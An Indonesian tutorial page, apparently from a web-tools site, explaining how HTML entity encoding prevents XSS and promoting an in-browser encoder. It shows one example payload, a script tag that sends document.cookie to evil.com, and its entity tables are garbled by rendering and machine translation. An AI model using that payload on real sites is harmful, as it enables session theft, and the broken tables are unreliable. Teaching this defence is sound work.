Entitas HTML dan Lolos: Bagaimana Pengkodean yang Tepat Mencegah Serangan XSS

Pengkodean entitas HTML mengonversi karakter khusus (<, >, &, ", ') menjadi representasi aman (< > & " '). Ini mencegah serangan Cross-Site Scripting (XSS) saat menampilkan input pengguna di halaman web.

HTML entities encoding preventing XSS injection with special character conversion diagram

Apakah Entitas HTML itu?

Browser DOM parser execution difference between innerHTML and safe textContent

Core XML and HTML escape entities table showing less-than, greater-than, ampersand, and quotes

Entitas HTML adalah representasi karakter yang memiliki arti khusus dalam markup HTML. Lima karakter paling penting untuk dikodekan:

KarakterEntitas HTMLEntitas yang DinamakanMengapa Berbahaya
<<<Terbuka HTML tag
>>>Tutup HTML tag
&& &Mulai entitas referensi
"&qu ot;"Tutup atribut nilai
'' 'Tutup nilai atribut

Entitas tampilan umum:

KarakterHTML EntitasArtinya
©©Hak Cipta
®®Terdaftar merek dagang
™&perdaganganTr merek dagang
→→Benar panah
←←Kiri panah
••Bu biarkan
——Em tanda hubung
––En tanda hubung
  Tidak putus-putus spasi
€€Euro tanda

Cara Kerja Serangan XSS dan Cara Encoding Mencegahnya

Cross-Site Scripting XSS attack surface architecture showing reflected, stored, and DOM vectors

Cross-Site Scripting (XSS) adalah salah satu kerentanan web yang paling umum. Hal ini terjadi ketika data yang dikendalikan penyerang ditampilkan di halaman web tanpa di-escape dengan benar.

Contoh kerentanan: Halaman penelusuran menampilkan: "Anda menelusuri: [input pengguna]" Penyerang mengirimkan: <script>document.location='https://evil.com/?cookies='+document.cookie</script> Tanpa pengkodean, browser menjalankan skrip ini, mencuri cookie sesi.

Dengan pengkodean entitas HTML yang tepat: < menjadi < dan > menjadi >. Browser menampilkan teks mentah, bukan mengeksekusinya sebagai kode.

Mengapa hal ini penting: Laporan tahunan OWASP secara konsisten menempatkan XSS dalam 10 kerentanan web teratas. Pelanggaran besar telah mengeksploitasi XSS untuk mencuri token sesi, merusak situs web, dan mengarahkan pengguna ke situs berbahaya.


Menyandi dan Mendekode Entitas HTML di ToolDolfen

Safe versus unsafe HTML code execution and rendering benchmark

ToolDolfen in-browser HTML entity encoder and decoder client-side workflow

Gunakan alat Enkoder Entitas HTML (HTML Entities) untuk:

  1. Enkode HTML: Tempelkan konten yang dikirimkan pengguna, respons API, atau string apa pun yang akan ditampilkan dalam dokumen HTML. Alat ini mengonversi semua karakter berbahaya menjadi referensi entitas yang aman.
  1. Dekode entitas: Tempelkan HTML yang dikodekan entitas untuk melihat karakter aslinya — berguna saat melakukan debug pada konten yang lolos dalam respons API atau mesin template.

Dalam kode: Kerangka kerja backend yang tepat menyediakan fungsi pengkodean HTML bawaan:

  • PHP: htmlspecialchars($text, ENT_QUOTES, 'UTF-8')
  • Python: html.escape(teks)
  • Node.js: Gunakan perpustakaan seperti he atau entitas
  • .NET: HttpUtility.HtmlEncode(teks)

Panduan Pendamping yang Direkomendasikan

Jelajahi tutorial dan utilitas pelengkap dari cluster topik ini untuk menyempurnakan alur kerja digital Anda:

Mengonversi CSV ke JSON: Penguraian Ketik, Objek Bersarang, dan Penanganan HeaderTutorial praktis langkah demi langkah dengan standar terverifikasi dan dalam browser alur kerja.Mengonversi JSON Bersarang ke CSV Datar: Menangani Struktur Data KompleksTutorial praktis langkah demi langkah dengan standar terverifikasi dan dalam browser alur kerja.Panduan Favicon Modern: ICO, PNG, SVG, dan Manifes Aplikasi WebTutorial langkah demi langkah praktis dengan standar terverifikasi dan dalam browser alur kerja.OCR: Cara Pengenalan Karakter Optik Mengekstrak Teks dari Gambar dan PDFAlur kerja lintas format komplementer yang menghubungkan data dan media terkait alat.
Utilitas yang Direkomendasikan: Encoder Entitas HTMLJalankan alur kerja ini secara langsung di browser Anda tanpa unggahan server dan 100% privasi sisi klien.
Enkoder Entitas HTML (HTML Entities)
Enkoder Entitas HTML (HTML Entities)

Pertanyaan yang Sering Diajukan

Temukan jawaban cepat dan terverifikasi untuk pertanyaan umum tentang alur kerja ini.

Apa entitas HTML untuk simbol hak cipta?

© atau © menghasilkan simbol hak cipta ©. Entitas bernama (©) dan entitas numerik (©) berfungsi di semua browser.

Apakah pengkodean entitas HTML sama dengan pengkodean URL?

Tidak. Pengkodean entitas HTML mengonversi karakter untuk tampilan aman dalam dokumen HTML (< = <). Pengkodean URL (pengkodean persen) mengonversi karakter untuk penggunaan yang aman di URL (%3C = <). Keduanya mengonversi karakter yang sama tetapi menggunakan notasi dan konteks berbeda.

Apakah kerangka kerja JavaScript modern secara otomatis keluar dari HTML?

Ya — React, Vue, Angular, dan Svelte semuanya keluar dari HTML secara default saat merender konten teks. Inilah sebabnya serangan XSS pada SPA modern lebih jarang terjadi. Namun, penggunaan innerHTML, berbahayaSetInnerHTML (React), atau v-html (Vue) mengabaikan perlindungan ini.

Bilal Ahmad